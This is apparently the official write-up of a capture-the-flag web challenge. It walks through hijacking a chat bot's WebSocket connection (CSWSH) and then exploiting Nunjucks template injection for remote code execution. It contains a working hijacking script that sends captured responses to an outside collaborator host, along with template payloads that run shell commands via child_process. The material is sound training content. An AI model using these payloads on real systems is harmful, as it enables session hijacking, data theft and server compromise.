Intro
Cyber Sleuths: Web Security Havoc is one of the CCSC 2023 web challenges I authored.
This challenge has a basic chat bot functionality and requires the player to enumerate the application, distinguish a potential Web Socket implementation flaw, and use the chat bot to their advantage to exploit the misconfigration. Once successful they can use hidden admin functionality to further exploit the application gaining remote code execution and reading the contents of /flag.txt
This is the official writeup of the challenge. Enjoy.
Challenge Info
Description: We are organizing a group of cyber sleuths to carry out top secret missions. Apparently there is a flag on the root /
path of this server, but no one has ever managed to read it. Fetch it for us and consider yourself part of the team. Good luck rookie.
Tags: web
, hard
Initial Recon
When first opening the application we are greeted with a login and registration page.
Registering a user and logging into the application shows a simple Chat Box. Talking to the bot shows it is quite dumb and does not contain much functionality.
Chatbot response with few commands
After playing around with the chat bot, we notice the flag
, help
and ?
commands have a different response, stating only an admin user can send these commands. Trying to register a user with the username admin
shows an error that the username exists.
The objective of the challenge seems simple, we must escalate our privileges to the admin
user and send privileged commands to the bot.
Digging Deeper
Since there is no other functionality on the web application we can review the the Chat bot implementation from the source code. There are two javascript files loaded in the application, jquery.js
and utils.js
, of course utils.js
is the obvious choice to dig into first since it is custom code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$(document).ready(function() {
function sendMessage() {
const message = messageInput.val().trim();
if (message !== '') {
addMessage('You', message);
socket.send(message);
messageInput.val('');
}
}
function addMessage(username, message) {
const messageElement = $('<div></div>').addClass('message').html(`<strong>${escapeHtml(username)}:</strong> ${escapeHtml(message)}`);
messageArea.append(messageElement);
messageArea.scrollTop(messageArea.prop('scrollHeight'));
}
host = window.location.host
var socket = new WebSocket(`wss://${host}/chat`);
const messageArea = $('#messageArea');
const messageInput = $('#messageInput');
socket.onmessage = (event) => {
var response = JSON.parse(event.data);
addMessage(response.username, response.message);
};
// Event listener for Enter key press in the message input
messageInput.on('keydown', function(event) {
if (event.key === 'Enter') {
event.preventDefault();
sendMessage();
}
});
});
function escapeHtml(text) {
return $('<div>').text(text).html();
}
The above file shows the chat bot messages are implemented using Web Sockets.
Intercepting the Web Socket request using a proxy like BurpSuite we notice the request does not contain a CSRF token.
Web Socket initialization request
Reading online about Web Sockets without CSRF tokens, we can find a vulnerability class called Cross Site Web Socket Hijacking
(CSWSH).
Cross Site Web Socket Hijacking - CSWSH
CSWSH is basically a CSRF attack on Web Sockets. This vulnerability arises when a Web Socket is initiated without any unpredictable values, and relies solely on cookies for session handling.
An attacker can create a malicious server, hosting javascript code, forcing the visiting victim to initiate a web socket connection. Due to the lack of a CSRF token, the attacker can hijack the victims web socket connection and perform actions on behalf of the victim.
Though, a couple prerequisites must be met before being able to exploit this vulnerability.
- The applications cookies must be set with
SameSite=None
, this allows the cookies to be sent along with the Cross-site request when initiating the Web Socket - There must be some sort of visiting functionality on the web application that forces the admin/bot user to visit arbitrary URLs
Checking CSWSH Prerequisites
First we need to check the application requests to find where our cookie is initially set, or just deleting the cookie and refreshing the application will still work.
Application sets cookie with SameSite=None
Now there must be some sort of bot visiting functionality on the web application. Since there is no other input field on the app we can try sending a URL in the chat.
Supplying a simple burp collaborator URL shows the bot does indeed visit the URL.
Exploiting CSWSH
Before crafting the exploit we first must find the endpoint to which the Web Socket is initialized, and how the messages are sent. This can all be obtained from the utils.js
file above.
- Endpoint:
/chat
- Message Format:
"Text string"
If this is still difficult to understand, we can use burp proxy to find the endpoint to the initial request (as shown above), and view the web socket message to find the format.
Now we can construct our payload.
- First we initialize a Web Socket to
/chat
- Once the Web Socket has been opened, we can send the
"flag"
string.
Since the bot will visit our site blindly, we need to send the receiving message to some sort of receiver to read the messages.
- Use the
onmessage
API call to send the receiving message to another burp collaborator in the body of a POST request.
1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
var ws = new WebSocket('wss://challenges.cybermouflons.com:3443/chat');
ws.onopen = function() {
ws.send("flag");
};
ws.onmessage = function(event) {
fetch('https://dxelsb1h9an26mt2bpcntzz01r7iv9jy.oastify.com/', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
All that is left now is to host the malicious javascript code on a our server and force the bot to visit.
Web server hosting CSWSH exploit
Checking the burp collaborator logs the Web Socket was successfully hijacked and we get the admin response message
Bot response captured in burp collaborator request
This does not immediately give us the flag, but we also found in out initial recon that the help
and ?
commands are also privileged commands
Testing hidden functionality
Using the same exploit as above we can send the help
command and receive the following output
Command | Description |
---|---|
help | This help page |
flag | Print flag |
upload | Upload file contents to file |
There is also an upload
command, sending this command as is, shows its usage
1
USAGE: upload [file_contents]
Seems like it only needs the file contents next to the upload
command, lets send a test command like so:
upload File contents here
1
Uploaded file successfully - Visit at /tmp-vqxegt.html
Visiting /tmp-vqxegt.html
shows our file contents
A few key points here:
- Our file contents are directly rendered into the applicaiton
- The file extension is not controlled by us, it is hardcoded to create only
.html
files
SSTI
Two major vulnerabilities can be tested here, XSS and SSTI. Since the challenge description states the flag must be read from the root /
directory we need to somehow obtain RCE. This narrows down our possible attacks and SSTI seems like the most viable solution.
Confirming SSTI
We first need to send a couple of test payloads to check if the application is vulnerable to SSTI:
1
2
3
4
${7*7}</br>
{{7*7}}</br>
#{7*7}</br>
{7*7}</br>
Checking our uploaded file we do in fact see the payload {{7*7}}
has been rendered with the output 49
. Now all that is left is to find which templating engine is being used.
Visiting hail mary payload page
Checking the response headers of the application there is a header that discloses the backend programming language X-Powered-By: Express
, which means the backend language is NodeJS
Searching online for templating engines used by NodeJs with the double curly bracket syntax we will stumble upon a few, trying each engine with a command execution payload will reveal the templating engine used is Nunjucks
Exploiting SSTI - RCE
The following payload will execute system commands, first we need to list all files in the root directory
1
{{range.constructor("return global.process.mainModule.require('child_process').execSync('ls -la /')")()}}
Upload the payload with the CSWSH exploit like before.
upload {{range.constructor("return global.process.mainModule.require('child_process').execSync('ls -la /')")()}}
Pro Tip: Add <pre> before the SSTI payload to pretty print the output
And then visit the uploaded file.
Successful Remote Code Execution - Listing root directory
Now we know the flag file name is flag-a31ee1525b.txt
we can create another payload to read its contents
Final Payload:
upload <pre>{{range.constructor("return global.process.mainModule.require('child_process').execSync('cat /flag-a31ee1525b.txt')")()}}
Flag: CCSC{1nj3ct1ng_t3mpl4t3s_4nd_H1j4ck1ng_w3bs0ck3ts_s1nc3_jun3_2008}